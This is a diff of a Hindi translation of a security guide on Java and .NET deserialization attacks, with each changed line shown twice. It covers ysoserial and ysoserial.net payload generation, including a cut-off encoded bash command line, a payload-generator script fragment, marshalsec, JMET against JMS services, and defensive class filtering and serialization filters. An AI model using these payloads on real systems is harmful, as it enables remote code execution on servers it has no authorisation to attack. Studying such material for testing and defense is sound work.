Java deserializations का शोषण करने के लिए मुख्य उपकरण [**ysoserial**](https://github.com/frohoff/ysoserial) है ([**यहां डाउनलोड करें**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). आप [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करने पर भी विचार कर सकते हैं जो आपको जटिल कमांड (उदाहरण के लिए पाइप के साथ) का उपयोग करने की अनुमति देगा।\
|
||||
ध्यान दें कि यह उपकरण **`ObjectInputStream`** का शोषण करने पर **केंद्रित** है।\
|
||||
जावा deserializations का शोषण करने के लिए मुख्य उपकरण [**ysoserial**](https://github.com/frohoff/ysoserial) है ([**यहां डाउनलोड करें**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). आप [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करने पर भी विचार कर सकते हैं जो आपको जटिल कमांड (उदाहरण के लिए पाइप के साथ) का उपयोग करने की अनुमति देगा।\
|
||||
ध्यान दें कि यह उपकरण **`ObjectInputStream`** के शोषण पर **केंद्रित** है।\
|
||||
मैं **RCE** पेलोड से पहले "URLDNS" पेलोड का उपयोग करना **शुरू करूंगा** यह परीक्षण करने के लिए कि क्या इंजेक्शन संभव है। वैसे भी, ध्यान दें कि शायद "URLDNS" पेलोड काम नहीं कर रहा है लेकिन अन्य RCE पेलोड काम कर रहा है।
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
@ -430,9 +430,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
जब **java.lang.Runtime.exec()** के लिए एक पेलोड बनाते हैं, तो आप **विशेष वर्ण** जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके कमांड निष्पादित करने के लिए या यहां तक कि **कमांड के लिए तर्क** पास करने के लिए जो **स्पेस** द्वारा अलग किए गए हैं (आप `echo -n "hello world"` कर सकते हैं लेकिन आप `python2 -c 'print "Hello world"'` नहीं कर सकते)। पेलोड को सही ढंग से एन्कोड करने के लिए, आप [इस वेबपेज](http://www.jackson-t.ca/runtime-exec-payloads.html) का उपयोग कर सकते हैं।
|
||||
जब **java.lang.Runtime.exec()** के लिए एक payload बनाते हैं, तो आप **विशेष वर्ण** जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके आदेश निष्पादित कर सकें या यहां तक कि **कमांड के लिए तर्क** को **स्पेस** द्वारा अलग कर सकें (आप `echo -n "hello world"` कर सकते हैं लेकिन आप `python2 -c 'print "Hello world"'` नहीं कर सकते)। payload को सही ढंग से एन्कोड करने के लिए, आप [इस वेबपेज](http://www.jackson-t.ca/runtime-exec-payloads.html) का उपयोग कर सकते हैं।
|
||||
|
||||
Windows और Linux के लिए **सभी संभावित कोड निष्पादन** पेलोड बनाने के लिए अगले स्क्रिप्ट का उपयोग करने के लिए स्वतंत्र महसूस करें और फिर उन्हें कमजोर वेब पृष्ठ पर परीक्षण करें:
|
||||
Windows और Linux के लिए **सभी संभावित कोड निष्पादन** payloads बनाने के लिए अगले स्क्रिप्ट का उपयोग करने के लिए स्वतंत्र महसूस करें और फिर उन्हें कमजोर वेब पृष्ठ पर परीक्षण करें:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
@ -455,13 +455,13 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
आप **उपयोग कर सकते हैं** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **अधिक एक्सप्लॉइट बनाने के लिए ysoserial के साथ**। इस टूल के बारे में अधिक जानकारी **बातचीत की स्लाइड्स** में है जहाँ टूल प्रस्तुत किया गया था: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
आप **इसका उपयोग कर सकते हैं** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **और ysoserial के साथ अधिक एक्सप्लॉइट बनाने के लिए**। इस टूल के बारे में अधिक जानकारी **टॉक की स्लाइड्स** में है जहाँ टूल प्रस्तुत किया गया था: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec) का उपयोग विभिन्न **Json** और **Yml** सीरियलाइजेशन लाइब्रेरीज़ को एक्सप्लॉइट करने के लिए पेलोड्स उत्पन्न करने के लिए किया जा सकता है।\
|
||||
प्रोजेक्ट को संकलित करने के लिए मुझे `pom.xml` में ये **निर्भरता** **जोड़नी** पड़ी:
|
||||
```markup
|
||||
प्रोजेक्ट को संकलित करने के लिए मुझे `pom.xml` में ये **dependencies** **जोड़ने** की आवश्यकता थी:
|
||||
```html
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
<artifactId>activation</artifactId>
|
||||
@ -475,7 +475,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
<type>pom</type>
|
||||
</dependency>
|
||||
```
|
||||
**मावेन स्थापित करें**, और **परियोजना को संकलित करें**:
|
||||
**Maven स्थापित करें**, और **परियोजना को संकलित करें**:
|
||||
```bash
|
||||
sudo apt-get install maven
|
||||
mvn clean package -DskipTests
|
||||
@ -493,7 +493,7 @@ mvn clean package -DskipTests
|
||||
|
||||
Java विभिन्न उद्देश्यों के लिए बहुत सारी serialization का उपयोग करता है जैसे:
|
||||
|
||||
- **HTTP requests**: Serialization का व्यापक रूप से प्रबंधन में उपयोग किया जाता है जैसे कि parameters, ViewState, cookies, आदि।
|
||||
- **HTTP requests**: Serialization का व्यापक रूप से प्रबंधन के लिए उपयोग किया जाता है जैसे कि parameters, ViewState, cookies, आदि।
|
||||
- **RMI (Remote Method Invocation)**: Java RMI प्रोटोकॉल, जो पूरी तरह से serialization पर निर्भर करता है, Java अनुप्रयोगों में दूरस्थ संचार के लिए एक आधारशिला है।
|
||||
- **RMI over HTTP**: यह विधि Java-आधारित मोटे क्लाइंट वेब अनुप्रयोगों द्वारा सामान्यतः उपयोग की जाती है, जो सभी ऑब्जेक्ट संचार के लिए serialization का उपयोग करती है।
|
||||
- **JMX (Java Management Extensions)**: JMX नेटवर्क पर ऑब्जेक्ट्स को भेजने के लिए serialization का उपयोग करता है।
|
||||
@ -503,29 +503,29 @@ Java विभिन्न उद्देश्यों के लिए ब
|
||||
|
||||
#### Transient objects
|
||||
|
||||
एक वर्ग जो `Serializable` को लागू करता है, वह वर्ग के अंदर किसी भी ऑब्जेक्ट को `transient` के रूप में लागू कर सकता है जिसे serializable नहीं होना चाहिए। उदाहरण के लिए:
|
||||
एक क्लास जो `Serializable` को लागू करती है, वह क्लास के अंदर किसी भी ऑब्जेक्ट को `transient` के रूप में लागू कर सकती है जो serializable नहीं होना चाहिए। उदाहरण:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
private transient double profit; // declared transient
|
||||
private transient double margin; // declared transient
|
||||
```
|
||||
#### एक क्लास का Serialization करने से बचें जिसे Serializable लागू करने की आवश्यकता है
|
||||
#### एक क्लास के Serialization से बचें जिसे Serializable लागू करने की आवश्यकता है
|
||||
|
||||
उन परिदृश्यों में जहां कुछ **ऑब्जेक्ट्स को `Serializable`** इंटरफेस लागू करना आवश्यक है क्योंकि क्लास हायरार्की के कारण, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये ऑब्जेक्ट्स non-deserializable हैं, एक `final` `readObject()` मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है:
|
||||
उन परिदृश्यों में जहां कुछ **objects को `Serializable`** इंटरफेस लागू करना आवश्यक है क्योंकि क्लास पदानुक्रम है, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये objects non-deserializable हैं, एक `final` `readObject()` मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
}
|
||||
```
|
||||
#### **जावा में डीसिरियलाइजेशन सुरक्षा को बढ़ाना**
|
||||
#### **Java में Deserialization सुरक्षा बढ़ाना**
|
||||
|
||||
**`java.io.ObjectInputStream`** को कस्टमाइज़ करना डीसिरियलाइजेशन प्रक्रियाओं को सुरक्षित करने के लिए एक व्यावहारिक दृष्टिकोण है। यह विधि तब उपयुक्त है जब:
|
||||
**`java.io.ObjectInputStream`** को कस्टमाइज़ करना deserialization प्रक्रियाओं को सुरक्षित करने के लिए एक व्यावहारिक दृष्टिकोण है। यह विधि तब उपयुक्त है जब:
|
||||
|
||||
- डीसिरियलाइजेशन कोड आपके नियंत्रण में है।
|
||||
- डीसिरियलाइजेशन के लिए अपेक्षित कक्ष ज्ञात हैं।
|
||||
- Deserialization कोड आपके नियंत्रण में है।
|
||||
- Deserialization के लिए अपेक्षित कक्षाएँ ज्ञात हैं।
|
||||
|
||||
**`resolveClass()`** विधि को ओवरराइड करें ताकि डीसिरियलाइजेशन केवल अनुमत कक्षों तक सीमित हो सके। यह किसी भी कक्षा के डीसिरियलाइजेशन को रोकता है सिवाय उन कक्षों के जो स्पष्ट रूप से अनुमत हैं, जैसे कि निम्नलिखित उदाहरण में जो डीसिरियलाइजेशन को केवल `Bicycle` कक्षा तक सीमित करता है:
|
||||
**`resolveClass()`** विधि को ओवरराइड करें ताकि केवल अनुमत कक्षाओं तक deserialization सीमित हो सके। यह किसी भी कक्षा के deserialization को रोकता है सिवाय उन कक्षाओं के जो स्पष्ट रूप से अनुमति दी गई हैं, जैसे कि निम्नलिखित उदाहरण में जो deserialization को केवल `Bicycle` कक्षा तक सीमित करता है:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -550,13 +550,13 @@ return super.resolveClass(desc);
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
यह गतिशील रूप से डेसिरियलाइजेशन को सुरक्षित करने का एक तरीका प्रदान करता है, जो उन वातावरणों के लिए आदर्श है जहाँ तात्कालिक कोड परिवर्तन व्यावहारिक नहीं हैं।
|
||||
यह एक ऐसा तरीका प्रदान करता है जिससे डेसिरियलाइजेशन को गतिशील रूप से सुरक्षित किया जा सकता है, जो उन वातावरणों के लिए आदर्श है जहाँ तात्कालिक कोड परिवर्तन व्यावहारिक नहीं हैं।
|
||||
|
||||
एक उदाहरण देखें [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
**सिरियलाइजेशन फ़िल्टर लागू करना**: Java 9 ने **`ObjectInputFilter`** इंटरफ़ेस के माध्यम से सिरियलाइजेशन फ़िल्टर पेश किए, जो डेसिरियलाइजेशन से पहले सिरियलाइज्ड ऑब्जेक्ट्स को पूरा करने के लिए आवश्यक मानदंडों को निर्दिष्ट करने के लिए एक शक्तिशाली तंत्र प्रदान करते हैं। इन फ़िल्टरों को वैश्विक रूप से या प्रति स्ट्रीम लागू किया जा सकता है, जो डेसिरियलाइजेशन प्रक्रिया पर बारीक नियंत्रण प्रदान करता है।
|
||||
**Serialization Filters को लागू करना**: Java 9 ने **`ObjectInputFilter`** इंटरफेस के माध्यम से serialization filters पेश किए, जो उन मानदंडों को निर्दिष्ट करने के लिए एक शक्तिशाली तंत्र प्रदान करते हैं जिन्हें डेसिरियलाइज होने से पहले serialized objects को पूरा करना चाहिए। ये फ़िल्टर वैश्विक रूप से या प्रति स्ट्रीम लागू किए जा सकते हैं, जो डेसिरियलाइजेशन प्रक्रिया पर बारीक नियंत्रण प्रदान करते हैं।
|
||||
|
||||
सिरियलाइजेशन फ़िल्टर का उपयोग करने के लिए, आप एक वैश्विक फ़िल्टर सेट कर सकते हैं जो सभी डेसिरियलाइजेशन संचालन पर लागू होता है या इसे विशिष्ट स्ट्रीम के लिए गतिशील रूप से कॉन्फ़िगर कर सकते हैं। उदाहरण के लिए:
|
||||
Serialization filters का उपयोग करने के लिए, आप एक वैश्विक फ़िल्टर सेट कर सकते हैं जो सभी डेसिरियलाइजेशन संचालन पर लागू होता है या इसे विशिष्ट स्ट्रीम के लिए गतिशील रूप से कॉन्फ़िगर कर सकते हैं। उदाहरण के लिए:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||
@ -570,14 +570,14 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**बाहरी पुस्तकालयों का उपयोग करके सुरक्षा में सुधार**: पुस्तकालय जैसे **NotSoSerial**, **jdeserialize**, और **Kryo** जावा डीसिरियलाइजेशन को नियंत्रित और मॉनिटर करने के लिए उन्नत सुविधाएँ प्रदान करते हैं। ये पुस्तकालय अतिरिक्त सुरक्षा परतें प्रदान कर सकते हैं, जैसे कि कक्षाओं की व्हाइटलिस्टिंग या ब्लैकलिस्टिंग, डीसिरियलाइजेशन से पहले अनुक्रमित वस्तुओं का विश्लेषण करना, और कस्टम अनुक्रमण रणनीतियों को लागू करना।
|
||||
|
||||
- **NotSoSerial** डीसिरियलाइजेशन प्रक्रियाओं को रोकता है ताकि अविश्वसनीय कोड का निष्पादन न हो सके।
|
||||
- **NotSoSerial** अविश्वसनीय कोड के निष्पादन को रोकने के लिए डीसिरियलाइजेशन प्रक्रियाओं को इंटरसेप्ट करता है।
|
||||
- **jdeserialize** अनुक्रमित जावा वस्तुओं का विश्लेषण करने की अनुमति देता है बिना उन्हें डीसिरियलाइज किए, संभावित रूप से दुर्भावनापूर्ण सामग्री की पहचान करने में मदद करता है।
|
||||
- **Kryo** एक वैकल्पिक अनुक्रमण ढांचा है जो गति और दक्षता पर जोर देता है, कॉन्फ़िगर करने योग्य अनुक्रमण रणनीतियाँ प्रदान करता है जो सुरक्षा को बढ़ा सकती हैं।
|
||||
|
||||
### संदर्भ
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- डीसिरियलाइजेशन और ysoserial वार्ता: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- Deserialization और ysoserial वार्ता: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- gadgetinspector के बारे में वार्ता: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) और स्लाइड: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
@ -585,12 +585,12 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- जावा और .Net JSON डीसिरियलाइजेशन **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** वार्ता: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Java और .Net JSON डीसिरियलाइजेशन **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** वार्ता: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- डीसिरियलाइजेशन CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## JNDI इंजेक्शन और log4Shell
|
||||
|
||||
जानें कि **JNDI इंजेक्शन क्या है, इसे RMI, CORBA और LDAP के माध्यम से कैसे दुरुपयोग किया जा सकता है और log4shell का शोषण कैसे किया जा सकता है** (और इस भेद्यता का उदाहरण) निम्नलिखित पृष्ठ में:
|
||||
जानें कि **JNDI इंजेक्शन क्या है, इसे RMI, CORBA और LDAP के माध्यम से कैसे दुरुपयोग किया जा सकता है और log4shell का शोषण कैसे किया जा सकता है** (और इस कमजोरियों का उदाहरण) निम्नलिखित पृष्ठ में:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -598,11 +598,11 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - जावा संदेश सेवा
|
||||
|
||||
> **जावा संदेश सेवा** (**JMS**) API एक जावा संदेश-उन्मुख मध्यवर्ती API है जो दो या अधिक ग्राहकों के बीच संदेश भेजने के लिए है। यह उत्पादक-उपभोक्ता समस्या को संभालने के लिए एक कार्यान्वयन है। JMS जावा प्लेटफ़ॉर्म, एंटरप्राइज संस्करण (Java EE) का एक हिस्सा है, और इसे सन माइक्रोसिस्टम्स द्वारा विकसित एक विनिर्देशन द्वारा परिभाषित किया गया था, लेकिन जिसे बाद में जावा समुदाय प्रक्रिया द्वारा मार्गदर्शित किया गया है। यह एक संदेश मानक है जो जावा EE पर आधारित अनुप्रयोग घटकों को संदेश बनाने, भेजने, प्राप्त करने और पढ़ने की अनुमति देता है। यह एक वितरित अनुप्रयोग के विभिन्न घटकों के बीच संचार को ढीला, विश्वसनीय और असिंक्रोनस बनाता है। (स्रोत [विकिपीडिया](https://en.wikipedia.org/wiki/Java_Message_Service))।
|
||||
> **जावा संदेश सेवा** (**JMS**) API एक जावा संदेश-उन्मुख मिडलवेयर API है जो दो या अधिक क्लाइंट के बीच संदेश भेजने के लिए है। यह उत्पादक-उपभोक्ता समस्या को संभालने के लिए एक कार्यान्वयन है। JMS जावा प्लेटफ़ॉर्म, एंटरप्राइज संस्करण (Java EE) का एक हिस्सा है, और इसे सन माइक्रोसिस्टम्स द्वारा विकसित एक विनिर्देशन द्वारा परिभाषित किया गया था, लेकिन जिसे बाद में जावा समुदाय प्रक्रिया द्वारा मार्गदर्शित किया गया है। यह एक संदेश मानक है जो जावा EE पर आधारित अनुप्रयोग घटकों को संदेश बनाने, भेजने, प्राप्त करने और पढ़ने की अनुमति देता है। यह एक वितरित अनुप्रयोग के विभिन्न घटकों के बीच संचार को ढीला, विश्वसनीय और असिंक्रोनस बनाता है। (स्रोत [विकिपीडिया](https://en.wikipedia.org/wiki/Java_Message_Service))।
|
||||
|
||||
### उत्पाद
|
||||
|
||||
इस मध्यवर्ती का उपयोग करके संदेश भेजने वाले कई उत्पाद हैं:
|
||||
इस मिडलवेयर का उपयोग करके संदेश भेजने वाले कई उत्पाद हैं:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -611,11 +611,11 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
### शोषण
|
||||
|
||||
तो, मूल रूप से, **JMS का उपयोग करने वाली कई सेवाएँ खतरनाक तरीके से हैं**। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए **पर्याप्त विशेषाधिकार** हैं (आमतौर पर आपको मान्य क्रेडेंशियल की आवश्यकता होगी) तो आप **दुर्भावनापूर्ण वस्तुएँ भेजने में सक्षम हो सकते हैं जो उपभोक्ता/सदस्य द्वारा डीसिरियलाइज की जाएंगी**।\
|
||||
इसका मतलब है कि इस शोषण में सभी **ग्राहक जो उस संदेश का उपयोग करने जा रहे हैं संक्रमित हो जाएंगे**।
|
||||
इसका मतलब है कि इस शोषण में सभी **क्लाइंट जो उस संदेश का उपयोग करने जा रहे हैं संक्रमित हो जाएंगे**।
|
||||
|
||||
आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डीसिरियलाइज कर रही है) आपको अभी भी भेद्यता का शोषण करने के लिए मान्य गैजेट्स खोजने की आवश्यकता है।
|
||||
आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डीसिरियलाइज कर रही है) आपको अभी भी कमजोरियों का शोषण करने के लिए मान्य गैजेट खोजने की आवश्यकता है।
|
||||
|
||||
उपकरण [JMET](https://github.com/matthiaskaiser/jmet) को **इन सेवाओं से कनेक्ट और हमला करने के लिए बनाया गया था, जो ज्ञात गैजेट्स का उपयोग करके कई दुर्भावनापूर्ण वस्तुएँ भेजता है**। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट्स में से कोई भी कमजोर अनुप्रयोग के अंदर हो।
|
||||
उपकरण [JMET](https://github.com/matthiaskaiser/jmet) को **इन सेवाओं से कनेक्ट और हमला करने के लिए बनाया गया था, जो ज्ञात गैजेट्स का उपयोग करके कई दुर्भावनापूर्ण वस्तुएँ भेजता है**। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट में से कोई भी कमजोर अनुप्रयोग के अंदर हो।
|
||||
|
||||
### संदर्भ
|
||||
|
||||
@ -624,13 +624,13 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## .Net
|
||||
|
||||
.Net के संदर्भ में, डीसिरियलाइजेशन शोषण जावा में पाए जाने वाले तरीकों के समान काम करते हैं, जहाँ गैजेट्स का शोषण किया जाता है ताकि किसी वस्तु के डीसिरियलाइजेशन के दौरान विशिष्ट कोड चल सके।
|
||||
.Net के संदर्भ में, डीसिरियलाइजेशन शोषण उस तरीके से काम करते हैं जो जावा में पाए जाते हैं, जहाँ गैजेट्स का उपयोग करके एक वस्तु के डीसिरियलाइजेशन के दौरान विशिष्ट कोड चलाया जाता है।
|
||||
|
||||
### फिंगरप्रिंट
|
||||
|
||||
#### व्हाइटबॉक्स
|
||||
|
||||
स्रोत कोड की जांच की जानी चाहिए कि:
|
||||
स्रोत कोड की जांच की जानी चाहिए:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
@ -639,19 +639,19 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
#### ब्लैकबॉक्स
|
||||
|
||||
खोज को बेस64 एन्कोडेड स्ट्रिंग **AAEAAAD/////** या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डीसिरियलाइज हो सकता है, जिससे डीसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त होता है। इसमें, लेकिन सीमित नहीं है, **JSON** या **XML** संरचनाएँ शामिल हो सकती हैं जिनमें `TypeObject` या `$type` है।
|
||||
खोज को बेस64 एन्कोडेड स्ट्रिंग **AAEAAAD/////** या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डीसिरियलाइज हो सकता है, जिससे डीसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त होता है। इसमें **JSON** या **XML** संरचनाएँ शामिल हो सकती हैं जिनमें `TypeObject` या `$type` है।
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
इस मामले में आप उपकरण [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) का उपयोग कर सकते हैं ताकि **डीसिरियलाइजेशन शोषण बनाए जा सकें**। एक बार गिट रिपॉजिटरी डाउनलोड करने के बाद, आपको **उपकरण को संकलित करना चाहिए**, उदाहरण के लिए, विज़ुअल स्टूडियो का उपयोग करके।
|
||||
इस मामले में आप उपकरण [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) का उपयोग कर सकते हैं **डीसिरियलाइजेशन शोषण बनाने के लिए**। एक बार जब आप git रिपॉजिटरी डाउनलोड कर लेते हैं तो आपको **उपकरण को संकलित करना चाहिए**, उदाहरण के लिए, Visual Studio का उपयोग करके।
|
||||
|
||||
यदि आप जानना चाहते हैं कि **ysoserial.net अपने शोषण को कैसे बनाता है** तो आप [**इस पृष्ठ की जांच कर सकते हैं जहाँ ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर समझाया गया है**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)।
|
||||
यदि आप जानना चाहते हैं कि **ysoserial.net अपना शोषण कैसे बनाता है** तो आप [**इस पृष्ठ को देख सकते हैं जहाँ ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर समझाया गया है**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)।
|
||||
|
||||
**ysoserial.net** के मुख्य विकल्प हैं: **`--gadget`**, **`--formatter`**, **`--output`** और **`--plugin`**।
|
||||
|
||||
- **`--gadget`** का उपयोग शोषण करने के लिए गैजेट को इंगित करने के लिए किया जाता है (उस कक्षा/कार्य को इंगित करें जिसका शोषण डीसिरियलाइजेशन के दौरान आदेश निष्पादित करने के लिए किया जाएगा)।
|
||||
- **`--gadget`** का उपयोग शोषण के लिए गैजेट को इंगित करने के लिए किया जाता है (उस कक्षा/कार्य को इंगित करें जिसका शोषण डीसिरियलाइजेशन के दौरान आदेशों को निष्पादित करने के लिए किया जाएगा)।
|
||||
- **`--formatter`**, शोषण को अनुक्रमित करने के लिए विधि को इंगित करने के लिए उपयोग किया जाता है (आपको यह जानने की आवश्यकता है कि बैक-एंड किस पुस्तकालय का उपयोग कर रहा है ताकि लोड को डीसिरियलाइज किया जा सके और उसी का उपयोग करके इसे अनुक्रमित किया जा सके)।
|
||||
- **`--output`** का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को **कच्चे** या **बेस64** एन्कोडेड रूप में चाहते हैं। _ध्यान दें कि **ysoserial.net** लोड को **UTF-16LE** (डिफ़ॉल्ट रूप से विंडोज़ पर उपयोग की जाने वाली एन्कोडिंग) का उपयोग करके **एन्कोड** करेगा, इसलिए यदि आप कच्चे लोड को प्राप्त करते हैं और इसे लिनक्स कंसोल से केवल एन्कोड करते हैं, तो आपको कुछ **एन्कोडिंग संगतता समस्याएँ** हो सकती हैं जो शोषण को सही तरीके से काम करने से रोक सकती हैं (HTB JSON बॉक्स में लोड UTF-16LE और ASCII दोनों में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।_
|
||||
- **`--output`** का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को **कच्चे** या **बेस64** एन्कोडेड रूप में चाहते हैं। _ध्यान दें कि **ysoserial.net** लोड को **UTF-16LE** का उपयोग करके **एन्कोड** करेगा (जो विंडोज़ पर डिफ़ॉल्ट रूप से उपयोग किया जाने वाला एन्कोडिंग है) इसलिए यदि आप कच्चे लोड को प्राप्त करते हैं और इसे लिनक्स कंसोल से केवल एन्कोड करते हैं तो आपको कुछ **एन्कोडिंग संगतता समस्याएँ** हो सकती हैं जो शोषण को सही तरीके से काम करने से रोक सकती हैं (HTB JSON बॉक्स में लोड दोनों UTF-16LE और ASCII में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।_
|
||||
- **`--plugin`** ysoserial.net विशिष्ट ढांचों के लिए **शोषण बनाने के लिए प्लगइन्स का समर्थन करता है** जैसे ViewState
|
||||
|
||||
#### अधिक ysoserial.net पैरामीटर
|
||||
@ -705,37 +705,37 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
return obj;
|
||||
}
|
||||
```
|
||||
